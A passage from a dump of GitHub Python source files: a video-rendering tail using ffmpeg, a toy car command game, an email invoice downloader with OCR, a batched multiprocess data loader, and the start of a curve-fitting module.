rendering\n with np.load(argv[-1], mmap_mode=\"r\") as data:\n\n # data contains arrays for plotting first harmonic\n if \"first_harmonic\" in data:\n harmonic_plot(data)\n\n index = interrupted(name) # get index at which to start drawing\n print(f\"Starting from frame {index}\")\n\n # calculate length required for consistent zero-padding\n padding = len(str(data[\"output_times\"].shape[0]))\n\n if index == 0: mkdir(name) # if starting from scratch, create wkdir\n\n # generate colourmap of correct length, extract colours and order them\n print(\"Generating colourmap...\")\n colourmap = cm.get_cmap(\"plasma\", data[\"velocities\"].shape[1])\n colourmap = colourmap.colors[np.argsort(data[\"velocities\"][0])]\n\n if len(data) == 3:\t # only data for particle-velocity plot available\n gen_pv_frames(data, colourmap, name, index, padding)\n else: # data for all plots is available\n gen_all_frames(data, colourmap, name, index, padding)\n\n call([\"ffmpeg\",\t\t# call ffmpeg to stitch all images together\n \"-i\", f\"./{name}/%0{padding}d.png\",\t # input images\n \"-r\", \"30\", # framerate\n \"-s\", \"1920x1080\", # resolution\n \"-vcodec\", \"libx264\", # video codec\n \"-crf\", \"15\", # constant-rate factor\n \"-pix_fmt\", \"yuv420p\", # pixel format\n f\"{name}.mp4\"]) # output video\n\n rmtree(name)\t\t# clean up images after render\n","repo_name":"ajulik1997/epc1d","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":9595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38269501295","text":"quit=0\r\ncar_status=0\r\nwhile quit==0:\r\n command=input(\">\")\r\n command=command.lower()\r\n if command==\"help\":\r\n print(\"start - start the car\")\r\n print(\"stop - stop the car\") \r\n print(\"quit - exit\")\r\n elif command==\"start\":\r\n if car_status==1:\r\n print(\"car already started\")\r\n elif car_status==0:\r\n print(\"car started...ready to go!\")\r\n car_status=1\r\n elif command==\"stop\":\r\n if car_status==0:\r\n print(\"car is already stopped\")\r\n elif car_status==1:\r\n print(\"car is stopped\")\r\n car_status=0\r\n elif command==\"quit\":\r\n quit=1\r\n else:\r\n print(\"I don't understand that\")","repo_name":"sabyasachi-kumar/randompy_123","sub_path":"car_game.py","file_name":"car_game.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14992522560","text":"import csv\nimport datetime\nimport decimal\nimport email\nfrom imaplib import IMAP4_SSL\nimport json\nimport os\nimport re\nimport shutil\nimport socket\nimport sys\nimport time\n\nfrom aip import AipOcr\nimport requests\nfrom selenium.webdriver import Firefox\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.options import Options\nimport socks\n\n\ndef load_config():\n # Load config from json file\n with open(\"config.json\") as f:\n return json.load(f)\n\n\ndef check_and_rename_file(dirpath, filepath):\n filename = os.path.basename(filepath)\n base, ext = os.path.splitext(filename)\n i = 1\n while os.path.exists(os.path.join(dirpath, filename)):\n filename = f\"{base}_{i}{ext}\"\n i += 1\n return os.path.join(dirpath, filename)\n\n\ndef try_download_file_from_quanjia(cfg, msg):\n # Get the email subject\n subject = msg[\"Subject\"]\n if subject is None:\n print(\"No subject for message\")\n return\n\n if subject.startswith(\"=?\"):\n subject = email.header.decode_header(subject)[0][0]\n try:\n subject = subject.decode(\"utf-8\")\n except:\n print(\"Cannot decode subject\")\n return False\n\n if \"顶全便利店\" not in subject:\n return False\n\n print(f\"Subject: {subject} (from 全家便利店)\")\n\n body = msg.get_payload(decode=True)\n if body is None:\n print(\"No body for message\")\n return True\n body = body.decode(\"utf-8\")\n if 'href=\"' not in body:\n print(\"No href in body\")\n return True\n\n # Get the download link\n result = re.search(r\"href=['\\\"](https?://fpj.datarj.com/[^\\s\\\"']*)['\\\"]\", body)\n if result is None:\n print(\"No download page link found\")\n return True\n\n download_link = result.group(1)\n print(f\"Download page link: {download_link}\")\n\n # request download link, match r\"href=['\\\"](https?://fpj.datarj.com/e-invoice-file/[^'\\\"]+.pdf)['\\\"]\" from response body\n opts = Options()\n opts.add_argument(\"--headless\")\n browser = Firefox(options=opts)\n browser.implicitly_wait(30)\n\n try:\n browser.get(download_link)\n time.sleep(1)\n except Exception as e:\n print(f\"Error opening download page: {e}\")\n return True\n\n links = browser.find_elements(By.TAG_NAME, \"a\")\n\n for link in links:\n href = link.get_dom_attribute(\"href\")\n\n if href is None:\n continue\n\n href = href.strip()\n result = re.match(r\"https?://fpj.datarj.com/e-invoice-file/[^'\\\"]+.pdf\", href)\n if result is None:\n continue\n\n print(f\"Found download link: {href}\")\n print(\"Downloading...\")\n\n filename = os.path.basename(href)\n download_dir = cfg[\"download_dir\"]\n response = requests.get(href)\n\n if response.status_code != 200:\n print(\"Error downloading file\")\n continue\n\n filepath = check_and_rename_file(download_dir, filename)\n\n os.makedirs(download_dir, exist_ok=True)\n with open(filepath, \"wb+\") as f:\n f.write(response.content)\n\n print(f\"Downloaded {filename} to {filepath}\")\n\n browser.close()\n\n return True\n\n\ndef roam(cfg):\n # Set proxy if needed\n if cfg.get(\"proxy\", None):\n print(f\"Setting proxy to {cfg['proxy']}...\")\n proxy_protocol, proxy_addr = cfg[\"proxy\"].split(\"://\")\n proxy_protocol = proxy_protocol.lower()\n proxy_type = None\n if proxy_protocol == \"socks4\":\n proxy_type = socks.SOCKS4\n elif proxy_protocol == \"socks5\":\n proxy_type = socks.SOCKS5\n elif proxy_protocol == \"http\":\n proxy_type = socks.HTTP\n else:\n raise ValueError(f\"Unknown proxy protocol: {proxy_protocol}\")\n proxy_host, proxy_port = proxy_addr.split(\":\")\n proxy_port = int(proxy_port)\n socks.set_default_proxy(proxy_type, proxy_host, proxy_port)\n socket.socket = socks.socksocket\n\n # Connect to the server\n print(\"Connecting to server {}...\".format(cfg[\"server\"]))\n M = IMAP4_SSL(cfg[\"server\"], timeout=10)\n\n print(\"Logging in...\")\n M.login(cfg[\"username\"], cfg[\"password\"])\n\n # Select the inbox\n M.select(\"INBOX\")\n\n since = cfg[\"since\"]\n since_date = datetime.datetime.strptime(since, \"%Y-%m-%d\").date()\n since = since_date.strftime(\"%d-%b-%Y\")\n util = datetime.datetime.today().strftime(\"%d-%b-%Y\")\n if 'util' in cfg and len(cfg[\"util\"]) > 0:\n util_date = datetime.datetime.strptime(cfg[\"util\"], \"%Y-%m-%d\").date()\n util = util_date.strftime(\"%d-%b-%Y\")\n crit = f'(SINCE \"{since}\" BEFORE \"{util}\")'\n\n print(f\"Searching for messages since {since} util {util}...\")\n typ, data = M.search(None, crit)\n\n if typ != \"OK\":\n print(\"Error searching for messages\")\n return\n\n print(f\"Found {len(data[0].split())} messages\")\n\n for num in data[0].split():\n typ, data = M.fetch(num, \"(RFC822)\")\n if typ != \"OK\":\n print(\"Error fetching message\")\n continue\n if data is None:\n print(\"No data for message\")\n continue\n raw_email = data[0][1]\n msg = email.message_from_bytes(raw_email)\n\n if try_download_file_from_quanjia(cfg, msg):\n continue\n\n for part in msg.walk():\n if part.get_content_type() == \"multipart\":\n continue\n if part.get(\"Content-Disposition\") is None:\n continue\n filename = part.get_filename()\n if filename is None:\n continue\n\n # decode the filename, if needed\n if filename.startswith(\"=?\"):\n filename = email.header.decode_header(filename)[0][0]\n filename = filename.decode(\"utf-8\")\n\n if not filename.endswith(\".pdf\"):\n print(f\"Skipping {filename} (not a PDF)\")\n continue\n\n download_dir = cfg[\"download_dir\"]\n os.makedirs(download_dir, exist_ok=True)\n filepath = check_and_rename_file(download_dir, filename)\n with open(filepath, \"wb+\") as f:\n f.write(part.get_payload(decode=True))\n print(f\"Downloaded {filename} to {filepath}\")\n\n # Close the connection\n M.close()\n M.logout()\n\n\ndef get_file_content(filepath):\n with open(filepath, \"rb+\") as f:\n return f.read()\n\n\ndef recognize_invoices(cfg):\n client = AipOcr(\n cfg[\"baidu_ocr\"][\"app_id\"],\n cfg[\"baidu_ocr\"][\"api_key\"],\n cfg[\"baidu_ocr\"][\"secret_key\"],\n )\n\n files = os.listdir(cfg[\"download_dir\"])\n entities = {}\n\n for filename in files:\n if not filename.endswith(\".pdf\"):\n continue\n\n print(f\"Recognizing {filename}...\")\n filepath = os.path.join(cfg[\"download_dir\"], filename)\n pdf_file = get_file_content(filepath)\n res = client.vatInvoicePdf(pdf_file)\n\n if \"error_code\" in res:\n print(\"Error recognizing file: \" + res[\"error_msg\"])\n continue\n\n entities[filename] = res\n time.sleep(0.5)\n\n output_dir = cfg[\"output\"][\"dir\"]\n recognized_json = cfg[\"output\"][\"recognized_json\"]\n os.makedirs(output_dir, exist_ok=True)\n filepath = os.path.join(output_dir, recognized_json)\n with open(filepath, \"w+\", encoding=\"utf-8\") as f:\n json.dump(entities, f, indent=4, ensure_ascii=False)\n print(f\"Saved recognized results to {filepath}\")\n\n\ndef load_recognized_invoices(cfg, overrides=True):\n output_dir = cfg[\"output\"][\"dir\"]\n recognized_json = cfg[\"output\"][\"recognized_json\"]\n filepath = os.path.join(output_dir, recognized_json)\n with open(filepath, \"r\", encoding=\"utf-8\") as f:\n all_invoices = json.load(f)\n\n if not overrides:\n return all_invoices\n\n overrides = cfg[\"output\"][\"invoice_date_overrides\"] or {}\n\n for k, v in all_invoices.items():\n if k in overrides:\n v[\"words_result\"][\"InvoiceDate\"] = overrides[k]\n print(f\"Overriding invoice date for {k} to {overrides[k]}\")\n\n return all_invoices\n\n\ndef rename_invoices(cfg):\n invoices = load_recognized_invoices(cfg)\n download_dir = cfg[\"download_dir\"]\n output_dir = cfg[\"output\"][\"dir\"]\n name = cfg[\"output\"][\"name\"]\n\n os.makedirs(output_dir, exist_ok=True)\n\n for filename, invoice in invoices.items():\n total_amount = invoice[\"words_result\"][\"AmountInFiguers\"]\n filename2 = f\"{name} 发票 {total_amount}.pdf\"\n file1 = os.path.join(download_dir, filename)\n file2 = check_and_rename_file(output_dir, filename2)\n shutil.copy(file1, file2)\n print(f\"Copied {filename} to {file2}\")\n\n\ndef generate_excel_records(cfg):\n invoices = load_recognized_invoices(cfg).values()\n output_dir = cfg[\"output\"][\"dir\"]\n csv_file = cfg[\"output\"][\"result_csv\"]\n name = cfg[\"output\"][\"name\"]\n csv_filepath = os.path.join(output_dir, csv_file)\n data = []\n index = 0\n\n sorted_invoices = sorted(invoices, key=lambda x: x[\"words_result\"][\"InvoiceDate\"])\n\n for invoice in sorted_invoices:\n total_amount = float(invoice[\"words_result\"][\"AmountInFiguers\"])\n index += 1\n invoice_date = invoice[\"words_result\"][\"InvoiceDate\"]\n seller_name = invoice[\"words_result\"][\"SellerName\"]\n\n data.append(\n {\n \"序号\": index,\n \"用餐日期\": invoice_date[5:],\n \"用餐缘由\": \"加班\",\n \"用餐商户名称\": seller_name,\n \"总人数\": \"1\",\n \"人员名单\": name,\n \"发票金额\": total_amount,\n \"按标准应报销金额\": 50 if total_amount > 50 else total_amount,\n \"责任部门\": \"区块链创新应用部\",\n \"经办人/报销人\": name,\n }\n )\n\n if len(data) == 0:\n print(\"No data to generate\")\n return\n\n os.makedirs(output_dir, exist_ok=True)\n\n with open(csv_filepath, \"w+\") as f:\n writer = csv.DictWriter(f, fieldnames=data[0].keys())\n writer.writeheader()\n writer.writerows(data)\n print(f\"Saved result to {csv_filepath}\")\n\ndef generate_summary_file(cfg):\n invoices = load_recognized_invoices(cfg).values()\n output_dir = cfg[\"output\"][\"dir\"]\n summary_file = os.path.join(output_dir, 'summary.txt')\n title = '餐费报销汇总'\n total_amount = decimal.Decimal(0)\n invoice_dates = []\n name = cfg[\"output\"][\"name\"]\n\n sorted_invoices = sorted(invoices, key=lambda x: x[\"words_result\"][\"InvoiceDate\"])\n\n for invoice in sorted_invoices:\n amount = decimal.Decimal(invoice[\"words_result\"][\"AmountInFiguers\"])\n amount = decimal.Decimal(50) if amount > decimal.Decimal(50) else amount\n total_amount += amount\n invoice_dates.append(invoice[\"words_result\"][\"InvoiceDate\"])\n\n with open(summary_file, 'w+') as f:\n f.write(f'{title}\\n\\n')\n f.write(f'报销人: {name}\\n')\n f.write(f'部门: 区块链创新应用部\\n')\n f.write(f'共计 {len(invoice_dates)} 天,共计 {str(total_amount)} 元\\n')\n f.write(f'日期:\\n')\n for date in invoice_dates:\n f.write(f'\\t{date}\\n')\n print(f\"Saved summary to {summary_file}\")\n\n pass\n\ndef print_usage():\n print(\"Usage: python3 main.py [--no-email] [--no-ocr] [--no-rename] [--no-excel]\")\n\n\ndef main():\n if \"--help\" in sys.argv or \"-h\" in sys.argv:\n print_usage()\n return\n\n cfg = load_config()\n\n if \"--no-email\" not in sys.argv:\n roam(cfg)\n\n if \"--no-ocr\" not in sys.argv:\n recognize_invoices(cfg)\n\n if \"--no-rename\" not in sys.argv:\n rename_invoices(cfg)\n\n if \"--no-excel\" not in sys.argv:\n generate_excel_records(cfg)\n\n if \"--no-summary\" not in sys.argv:\n generate_summary_file(cfg)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"zgs225/invoice-grabber","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11951,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"38188777087","text":"import os\nimport time\nimport psutil\nfrom multiprocessing import Process\n\nfrom data_loader import DataLoader\nfrom utils import file_utils\n\nfrom load_config import LoadConfig\nfrom constants import DATA_LOADER_BATCH_PREFIX\nfrom constants import DATA_SOURCE_BATCH_PREFIX\n\nfrom load_config import *\n\nclass DataProcessor(object):\n\n MODE_NORMAL_LOAD = 'MODE_NORMAL_LOAD'\n MODE_RETRY_DATA_SOURCE = 'MODE_RETRY_DATA_SOURCE'\n MODE_RETRY_FAILED_DOCS = 'MODE_RETRY_FAILED_DOCS'\n\n def __init__(self, load_config, data_source):\n self.load_config = load_config\n self.data_source = data_source\n self.data_source_batch = {}\n\n self.start_index = 0\n self.count = 0\n self.previous_id = None\n\n self.processes = []\n\n self.mode = DataProcessor.MODE_NORMAL_LOAD\n\n self.data_source_stats = None\n\n def extract_data(self, _id, name, row):\n if self.load_config.data_extractor is not None:\n return self.load_config.data_extractor.extract_data(_id, name, row)\n\n return row\n\n def extract_id(self, name, row):\n if self.load_config.data_extractor is not None:\n return self.load_config.data_extractor.extract_id(name, row)\n\n self.load_config.log(LOG_LEVEL_WARNING, 'Error: no data extractor configured')\n return None\n\n def start_processing(self):\n if self.mode == DataProcessor.MODE_NORMAL_LOAD:\n self.start_index = self.get_processed_rows()\n elif self.mode == DataProcessor.MODE_RETRY_DATA_SOURCE or self.mode == DataProcessor.MODE_RETRY_FAILED_DOCS:\n self.start_index = 0\n self.previous_id = None\n self.count = 0\n self.clear_data_source_batch()\n\n def end_processing(self):\n if len(self.data_source_batch) > 0:\n self.process_batch(self.start_index, self.count)\n\n self.join_processes()\n\n def should_split_batch(self, start_index, count, _id, previous_id=None):\n if previous_id is not None:\n memory_details = psutil.virtual_memory()\n if memory_details.percent >= 95 or (\n len(self.data_source_batch) >= self.load_config.data_source_batch_size > 0):\n if _id != previous_id:\n return True\n else:\n return False\n return False\n\n def data_source_stats_file_name(self):\n return self.load_config.data_source_name + '_stats.json'\n\n def count_rows(self):\n data_source_directory = self.load_config.data_source_directory()\n stats_file_name = self.data_source_stats_file_name()\n self.data_source_stats = file_utils.load_file(data_source_directory, stats_file_name)\n if self.data_source_stats is None or len(self.data_source_stats) == 0:\n self.count = 0\n self.data_source_batch = {}\n self.data_source.process_rows(0, self.count_row)\n self.load_config.log(LOG_LEVEL_INFO, 'Total rows:', self.count)\n self.load_config.log(LOG_LEVEL_INFO, 'Total ids:', len(self.data_source_batch))\n\n self.data_source_stats = {\n 'row_count': self.count,\n 'unique_ids': len(self.data_source_batch)\n }\n file_utils.save_file(data_source_directory, stats_file_name, self.data_source_stats)\n\n def get_progress(self):\n data_source_directory = self.load_config.data_source_directory()\n stats_file_name = self.data_source_stats_file_name()\n\n if self.data_source_stats is None:\n self.data_source_stats = file_utils.load_file(data_source_directory, stats_file_name)\n\n row_count = 0\n unique_ids = 0\n # if 'row_count' in self.data_source_stats:\n # row_count = self.data_source_stats['row_count']\n if 'unique_ids' in self.data_source_stats:\n unique_ids = self.data_source_stats['unique_ids']\n\n docs_loaded = self.get_loaded_doc_count()\n\n if unique_ids > 0:\n self.load_config.log(LOG_LEVEL_INFO, 'docs loaded', docs_loaded, 'unique_ids', unique_ids)\n progress = (docs_loaded / float(unique_ids)) * 100\n self.data_source_stats['progress'] = progress\n file_utils.save_file(data_source_directory, stats_file_name, self.data_source_stats)\n return progress\n\n return -1\n\n def count_row(self, row, count):\n _id = self.extract_id(self.load_config.data_source_name, row)\n if _id is not None:\n self.data_source_batch[_id] = 0\n self.count = count\n self.load_config.log(LOG_LEVEL_DEBUG, 'Counting rows', count, len(self.data_source_batch))\n\n return True\n\n def process_rows(self):\n self.count_rows()\n self.start_processing()\n self.data_source.process_rows(self.start_index, self.process_row)\n self.end_processing()\n self.save_summary()\n\n def process_row(self, row, count):\n if count >= self.start_index:\n _id = self.extract_id(self.load_config.data_source_name, row)\n if _id is not None:\n if self.should_split_batch(self.start_index, count, _id, self.previous_id):\n self.process_batch(self.start_index, count)\n self.start_index = count\n\n doc = self.extract_data(_id, self.load_config.data_source_name, row)\n if doc is not None and len(doc) > 0:\n if _id not in self.data_source_batch:\n self.data_source_batch[_id] = []\n self.data_source_batch[_id].append(doc)\n\n if self.load_config.test_mode and count % 10000 == 0:\n self.load_config.log(LOG_LEVEL_INFO, _id, doc)\n else:\n self.load_config.log(LOG_LEVEL_ERROR, 'Null doc', self.count, _id)\n\n self.previous_id = _id\n self.count = count\n\n self.load_config.log(LOG_LEVEL_DEBUG, 'Processed rows', count, len(self.data_source_batch))\n\n return True\n\n def get_data_source_batch_name(self):\n data_source_directory = self.load_config.data_source_directory()\n data_source_batch_names = []\n for name in os.listdir(data_source_directory):\n file_path = os.path.join(data_source_directory, name)\n if not os.path.isfile(file_path) and name.startswith(DATA_SOURCE_BATCH_PREFIX) and not name.endswith('_retry'):\n data_source_batch_names.append(name)\n\n if len(data_source_batch_names) > 0:\n return data_source_batch_names[0]\n\n return None\n\n def data_source_batch_name(self, start_index, row_count):\n data_source_batch_name = DATA_SOURCE_BATCH_PREFIX + '_' + str(start_index) + '_' + str(row_count)\n return data_source_batch_name\n\n def process_batch(self, start_index, row_count):\n self.load_config.log(LOG_LEVEL_INFO, 'Split batch at', start_index, 'to', row_count, ', Doc count:', len(self.data_source_batch))\n\n data_source_batch_name = self.data_source_batch_name(start_index, row_count)\n unique_ids = self.data_source_batch.keys()\n self.process_data_rows(data_source_batch_name)\n self.join_processes()\n self.save_batch_info(start_index, row_count, unique_ids, data_source_batch_name)\n\n self.load_config.log(LOG_LEVEL_DEBUG, 'Clearing data source batch')\n self.clear_data_source_batch()\n\n def clear_data_source_batch(self):\n self.data_source_batch = {}\n\n def save_batch_info(self, start_index, row_count, unique_ids, data_source_batch_name):\n data_source_directory = self.load_config.data_source_directory()\n\n self.load_config.log(LOG_LEVEL_DEBUG, 'Finished processing batches, saving batch data...')\n row_count = row_count - start_index\n batch_data = {} #self.get_data_source_batch_summary(data_source_batch_name)\n batch_data['start_index'] = start_index\n batch_data['row_count'] = row_count\n batch_data['unique_ids'] = unique_ids\n\n if not self.load_config.test_mode:\n file_utils.save_file(data_source_directory, data_source_batch_name + '.json', batch_data)\n self.load_config.log(LOG_LEVEL_INFO, 'Saved batch data', data_source_batch_name)\n\n def get_processed_rows(self):\n data_source_directory = self.load_config.data_source_directory()\n\n processed_rows = 0\n for name in os.listdir(data_source_directory):\n file_path = os.path.join(data_source_directory, name)\n if os.path.isfile(file_path) and name.startswith(DATA_SOURCE_BATCH_PREFIX):\n self.load_config.log(LOG_LEVEL_DEBUG, 'processing file:', file_path)\n batch_data = file_utils.load_file(data_source_directory, name)\n start_index = batch_data['start_index']\n row_count = batch_data['row_count']\n\n end_index = start_index + row_count\n if end_index > processed_rows:\n processed_rows = end_index\n\n return processed_rows\n\n def get_loaded_ids(self, data_loader_batch_directory):\n loaded_ids = {}\n for name in os.listdir(data_loader_batch_directory):\n file_path = os.path.join(data_loader_batch_directory, name)\n if os.path.isfile(file_path) and name.startswith(DATA_LOADER_BATCH_PREFIX):\n self.load_config.log(LOG_LEVEL_TRACE, 'processing file:', file_path)\n batch_data = file_utils.load_file(data_loader_batch_directory, name)\n updated_ids = batch_data['updated_ids']\n indexed_ids = batch_data['indexed_ids']\n\n for _id in updated_ids:\n loaded_ids[_id] = 0\n\n for _id in indexed_ids:\n loaded_ids[_id] = 0\n\n self.load_config.log(LOG_LEVEL_DEBUG, 'Loaded ids', len(loaded_ids))\n\n return loaded_ids\n\n def get_failed_ids(self, data_loader_batch_directory):\n failed_ids = {}\n\n for name in os.listdir(data_loader_batch_directory):\n file_path = os.path.join(data_loader_batch_directory, name)\n if os.path.isfile(file_path) and name.startswith(\"failed_docs_\"):\n self.load_config.log(LOG_LEVEL_TRACE, 'processing file:', file_path)\n\n failed_docs = file_utils.load_file(data_loader_batch_directory, name)\n for _id in failed_docs:\n failed_ids[_id] = failed_docs[_id]\n\n self.load_config.log(LOG_LEVEL_DEBUG, 'Failed ids', len(failed_ids))\n\n return failed_ids\n\n # def process_failed_docs(self):\n # data_source_directory = self.load_config.data_source_directory()\n #\n # self.load_config.log(LOG_LEVEL_INFO, 'Finding failed docs')\n #\n # data_source_batch_names = []\n # for name in os.listdir(data_source_directory):\n # file_path = os.path.join(data_source_directory, name)\n # if not os.path.isfile(file_path) and name.startswith(DATA_SOURCE_BATCH_PREFIX) and 'old' not in name:\n # data_source_batch_names.append(name)\n #\n # data_source_batch_names.sort()\n #\n # for data_source_batch_name in data_source_batch_names:\n # data_loader_batch_directory = data_source_directory + '/' + data_source_batch_name\n # file_utils.make_directory(data_loader_batch_directory)\n #\n # batch = {}\n # for name in os.listdir(data_loader_batch_directory):\n # file_path = os.path.join(data_loader_batch_directory, name)\n # if os.path.isfile(file_path) and name.startswith(\"failed_docs_\"):\n # self.load_config.log(LOG_LEVEL_DEBUG, 'Processing file:', file_path)\n # failed_docs = file_utils.load_file(data_loader_batch_directory, name)\n #\n # for _id in failed_docs:\n # doc = failed_docs[_id]['doc']\n # batch[_id] = doc\n #\n # if len(batch) > 0:\n # if self.mode is not DataProcessor.MODE_NORMAL_LOAD:\n # batch_id = str(int(round(time.time() * 1000)))\n # old_data_loader_batch_directory = data_source_directory + '/' + 'old_' + data_source_batch_name + '_' + batch_id\n # os.rename(data_loader_batch_directory, old_data_loader_batch_directory)\n #\n # self.load_config.log(LOG_LEVEL_INFO, 'failed ids', len(batch))\n # self.start_load_process(batch, data_source_batch_name)\n\n def process_data_rows(self, data_source_batch_name):\n data_source_directory = self.load_config.data_source_directory()\n data_source_batch_directory = self.load_config.data_source_batch_directory(data_source_batch_name)\n\n filtered_ids = []\n if self.mode == DataProcessor.MODE_RETRY_FAILED_DOCS or self.mode == DataProcessor.MODE_NORMAL_LOAD:\n loaded_ids = self.get_loaded_ids(data_source_batch_directory)\n else:\n loaded_ids = {}\n\n # filter ids\n for _id in self.data_source_batch:\n if _id not in loaded_ids:\n filtered_ids.append(_id)\n\n if self.mode == DataProcessor.MODE_RETRY_DATA_SOURCE:\n batch_id = str(int(round(time.time() * 1000)))\n old_data_source_batch_directory = data_source_directory + '/' + 'old_' + data_source_batch_name + '_' + batch_id\n os.rename(data_source_batch_directory, old_data_source_batch_directory)\n\n batch = {}\n count = 0\n for _id in filtered_ids:\n data = self.data_source_batch.pop(_id, None)\n batch[_id] = data\n count += 1\n\n if count % self.load_config.data_loader_batch_size == 0:\n self.start_load_process(batch, data_source_batch_name)\n batch = {}\n\n if len(batch) > 0:\n self.start_load_process(batch, data_source_batch_name)\n\n def join_processes(self):\n while len(self.processes) > 0:\n self.load_config.log(LOG_LEVEL_DEBUG, 'Joining process', len(self.processes))\n old_process = self.processes.pop(0)\n old_process.join()\n\n # def get_data_source_summary(self):\n # data_source_directory = self.load_config.data_source_directory()\n #\n # summary = []\n # for data_source_batch_name in os.listdir(data_source_directory):\n # data_source_batch_path = os.path.join(data_source_directory, data_source_batch_name)\n # if os.path.isfile(data_source_batch_path) and data_source_batch_name.startswith(DATA_SOURCE_BATCH_PREFIX) and 'old' not in data_source_batch_name:\n # data_source_batch_summary = file_utils.load_file(data_source_directory, data_source_batch_name)\n # data_source_batch_summary['batch_name'] = data_source_batch_name\n # summary.append(data_source_batch_summary)\n #\n # return summary\n\n def get_loaded_doc_count(self):\n updated_ids = []\n indexed_ids = []\n\n data_source_directory = self.load_config.data_source_directory()\n\n for data_source_batch_name in os.listdir(data_source_directory):\n data_source_batch_path = os.path.join(data_source_directory, data_source_batch_name)\n if not os.path.isfile(data_source_batch_path) and data_source_batch_name.startswith(DATA_SOURCE_BATCH_PREFIX) and 'old' not in data_source_batch_name:\n self.load_config.log(LOG_LEVEL_TRACE, 'Processing data source batch:', data_source_batch_path)\n\n for data_loader_batch_name in os.listdir(data_source_batch_path):\n data_loader_batch_path = os.path.join(data_source_batch_path, data_loader_batch_name)\n if os.path.isfile(data_loader_batch_path) and data_loader_batch_name.startswith(DATA_LOADER_BATCH_PREFIX):\n data_loader_batch = file_utils.load_file(data_source_batch_path, data_loader_batch_name)\n\n updated_ids.extend(data_loader_batch['updated_ids'])\n indexed_ids.extend(data_loader_batch['indexed_ids'])\n\n return len(updated_ids) + len(indexed_ids)\n\n def get_data_source_batch_summary(self, data_source_batch_name):\n data_source_batch_directory = self.load_config.data_source_batch_directory(data_source_batch_name)\n data_source_directory = self.load_config.data_source_directory()\n\n updated_ids = []\n indexed_ids = []\n failed_ids = []\n skipped_ids = []\n\n for data_loader_batch_name in os.listdir(data_source_batch_directory):\n data_loader_batch_path = os.path.join(data_source_batch_directory, data_loader_batch_name)\n if os.path.isfile(data_loader_batch_path) and data_loader_batch_name.startswith(DATA_LOADER_BATCH_PREFIX):\n data_loader_batch = file_utils.load_file(data_source_batch_directory, data_loader_batch_name)\n\n updated_ids.extend(data_loader_batch['updated_ids'])\n indexed_ids.extend(data_loader_batch['indexed_ids'])\n failed_ids.extend(data_loader_batch['failed_ids'])\n skipped_ids.extend(data_loader_batch['skipped_ids'])\n\n summary = dict()\n summary['updated_ids'] = updated_ids\n summary['indexed_ids'] = indexed_ids\n summary['failed_ids'] = failed_ids\n summary['skipped_ids'] = skipped_ids\n\n data_source_batch_summary = file_utils.load_file(data_source_directory, data_source_batch_name + '.json')\n for key in data_source_batch_summary:\n summary[key] = data_source_batch_summary[key]\n\n return summary\n\n def get_combined_data_source_summary(self):\n total_rows = 0\n\n unique_ids = {}\n updated_ids = {}\n indexed_ids = {}\n failed_ids = {}\n skipped_ids = {}\n\n data_source_directory = self.load_config.data_source_directory()\n\n for data_source_batch_name in os.listdir(data_source_directory):\n data_source_batch_path = os.path.join(data_source_directory, data_source_batch_name)\n if not os.path.isfile(data_source_batch_path) and data_source_batch_name.startswith(DATA_SOURCE_BATCH_PREFIX) and 'old' not in data_source_batch_name:\n data_source_batch_summary = self.get_data_source_batch_summary(data_source_batch_name)\n\n total_rows += data_source_batch_summary['row_count']\n batch_unique_ids = data_source_batch_summary['unique_ids']\n\n batch_updated_ids = data_source_batch_summary['updated_ids']\n batch_indexed_ids = data_source_batch_summary['indexed_ids']\n batch_failed_ids = data_source_batch_summary['failed_ids']\n batch_skipped_ids = data_source_batch_summary['skipped_ids']\n\n # Remove duplicates across batches\n for _id in batch_unique_ids:\n unique_ids[_id] = 0\n for _id in batch_updated_ids:\n updated_ids[_id] = 0\n for _id in batch_indexed_ids:\n indexed_ids[_id] = 0\n for _id in batch_failed_ids:\n failed_ids[_id] = 0\n for _id in batch_skipped_ids:\n skipped_ids[_id] = 0\n\n summary = dict()\n summary['total_rows'] = total_rows\n summary['total_ids'] = unique_ids\n summary['updated_ids'] = updated_ids\n summary['indexed_ids'] = indexed_ids\n summary['failed_ids'] = failed_ids\n summary['skipped_ids'] = skipped_ids\n\n return summary\n\n def save_summary(self):\n data_source_directory = self.load_config.data_source_directory()\n data_source_summary = self.get_combined_data_source_summary()\n file_utils.save_file(data_source_directory, 'summary.json', data_source_summary)\n\n def start_load_process(self, data_loader_batch, data_source_batch_name):\n progress = self.get_progress()\n self.load_config.log(LOG_LEVEL_INFO, '==================================================== Progress:', progress, '%')\n self.load_config.log(LOG_LEVEL_DEBUG, 'Creating process for', len(data_loader_batch), 'docs')\n process = Process(target=start_load, args=(self.load_config,\n data_loader_batch,\n data_source_batch_name))\n process.start()\n self.processes.append(process)\n if len(self.processes) >= self.load_config.process_count:\n old_process = self.processes.pop(0)\n old_process.join()\n\n time.sleep(self.load_config.process_spawn_delay)\n\n\ndef start_load(load_config, data_loader_batch, data_source_batch_name):\n data_loader = DataLoader(load_config=load_config,\n data_loader_batch=data_loader_batch,\n data_source_batch_name=data_source_batch_name)\n data_loader.run()\n\n\n\n","repo_name":"rrosiek/pc_data_load","sub_path":"data_load/base/data_processor.py","file_name":"data_processor.py","file_ext":"py","file_size_in_byte":21075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74745070544","text":"\"\"\"\nJames Elgy 2021\nmodule to use mpt eigenvalue data over a range of frequencies and permeabilities to perform curve fitting.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n#import matplotlib\n# matplotlib.use('Qt5Agg')\nfrom matplotlib import pyplot as plt\nfrom sklearn import neural_network as nn\nfrom sklearn import preprocessing as pp\n\n\nclass DataLoader():\n\n def __init__(self):\n self.raw_data = None\n self.data = None\n self.scaling_dict = None # Dictionary containing scaling for each component.\n\n def load_data(self, filename: str, drop_extra_cols=True) -> pd.DataFrame:\n \"\"\"\n Loads data from csv and outputs a pandas dataframe\n :param filename: 